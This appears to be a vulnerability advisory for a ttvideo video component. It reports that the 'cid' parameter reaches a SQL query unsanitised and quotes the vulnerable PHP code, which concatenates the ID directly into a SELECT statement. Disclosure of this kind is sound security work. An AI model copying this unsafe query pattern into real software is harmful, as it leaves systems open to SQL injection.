The parameter cid passed to ttvideo.php when task is set
to video is not properly sanitised before being used in
a SQL query. This can be exploited to manipulate SQL
queries by injecting arbitrary SQL code. The following
is the vulnerable code:
ttvideoController.php (line 40):
function video() {
$cid = JRequest::getVar('cid', null, 'default');
ttvideo.php (line 188):
function getVideo($id) {
$db = $this->getDBO();
$db->setQuery("SELECT * from #__ttvideo WHERE id=$id");
$video = $db->loadObject();
if ($video === null)
JError::raiseError(500, 'Video with ID: '.$id.' not found.');
return $video;
}
